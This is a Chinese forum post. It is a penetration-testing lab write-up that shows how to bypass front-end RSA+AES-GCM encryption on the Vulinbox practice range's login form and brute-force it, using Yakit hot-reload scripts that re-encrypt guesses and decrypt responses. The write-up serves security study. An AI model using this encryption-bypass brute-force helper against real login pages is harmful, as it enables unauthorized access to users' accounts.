渗透测试-前后端加密分析之RSA+AES

海哥  金牌会员 | 2024-12-22 16:05:49 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 878|帖子 878|积分 2634

本文是高级前端加解密与验签实战的第8篇文章,本系列文章实验靶场为Yakit里自带的Vulinbox靶场,本文讲述的是绕过RSA与AES加密来爆破登录。
由于RSA加解密有长度限定,以及解密速度等题目,所以如https等协议都是用非对称加密对称加密的密钥,然后用对称加密算法来加密数据。本关卡就是用RSA来加密AES的key和iv,用AES来加密表单数据。

分析

直接Submit,观察数据包发现请求包和响应包AES加密的key和iv都被加密了。

检察源码,RSA的key是通过请求/crypto/js/rsa/generator路径获取的

AES的加密方法为AES-GCM

流程图如下:
graph TD;    A[开始] --> B(加载页面);    B --> C{获取RSA密钥对};    C -- 是 --> D(从服务器获取公钥和私钥);    D --> E(将PEM格式的公钥和私钥转换为CryptoKey对象);    E --> F(生成随机AES密钥与IV);    F --> G(使用RSA-OAEP加密AES密钥与IV);    G --> H(使用Encrypt函数用AES-GCM方式加密提交的数据);    H --> I(发送加密数据到服务器);    I --> J(吸收服务器响应);    J --> K(使用Decrypt函数用RSA与AES-GCM解密吸收的数据);    K --> L(显示解密后的数据);序列+热加载

本文和上文遇到一样的题目,本来打算用第三个请求来解密响应包的,末了选择了使用mirrorHTTPFlow函数来解密。
上文中只能看到登陆成功,但不知道账号密码是什么。这次写了个解密函数解密请求包,不管怎么说,能跑就行。
热加载代码如下:
  1. // RSA-OAEP 加密
  2. rsaEncrypt = (pem, data) => {
  3.     data = codec.RSAEncryptWithOAEP(pem, data)~
  4.     data = codec.EncodeBase64(data)
  5.     return data
  6. }
  7. // AES-GCM 加密
  8. aesEncrypt = (key, iv, data) => {
  9.     encryptedData = codec.AESGCMEncryptWithNonceSize12(key, data, iv)~
  10.     encryptedData = codec.EncodeBase64(encryptedData)
  11.     return encryptedData
  12. }
  13. // 分割参数的函数
  14. splitParams = (params) => {
  15.     pairs := params.SplitN("|", 2)
  16.     return pairs
  17. }
  18. // 主函数
  19. encrypt = (params) => {
  20.     pairs := splitParams(params)
  21.     key =  randstr(16)
  22.     iv = randstr(12)
  23.     data = aesEncrypt(key, iv, pairs[1])
  24.     encryptIV = rsaEncrypt(pairs[0], iv)
  25.     encryptKey = rsaEncrypt(pairs[0], key)
  26.     body = f`{"data":"${data}","iv":"${iv}","encryptedIV":"${encryptIV}","encryptedKey":"${encryptKey}"}`
  27.     return body
  28. }
  29. // 解密函数
  30. mirrorHTTPFlow = (req, rsp, params) => {
  31.     // 获取私钥
  32.     pem = params.privateKey
  33.    
  34.     // 切割响应中的数据,作为 JSON 加载
  35.     body = json.loads(poc.GetHTTPPacketBody(rsp))
  36.    
  37.     // 提取 IV、KEY 和 DATA
  38.     data = body.data
  39.     iv = body.encryptedIV
  40.     key = body.encryptedKey
  41.    
  42.     // 使用 RSA-OAEP 解密 IV 和 KEY
  43.     iv = codec.RSADecryptWithOAEP(pem, codec.DecodeBase64(iv)~)~
  44.     key = codec.RSADecryptWithOAEP(pem, codec.DecodeBase64(key)~)~
  45.    
  46.     // 使用 AES-GCM 解密
  47.     data = codec.AESGCMDecryptWithNonceSize12(key, codec.DecodeBase64(data)~, iv)~
  48.     return string(data)
  49. }
复制代码
使用Yakit的序列功能,结果如下,在提取数据中显示了未加密的请求和响应的内容:

爆破结果:


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

海哥

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表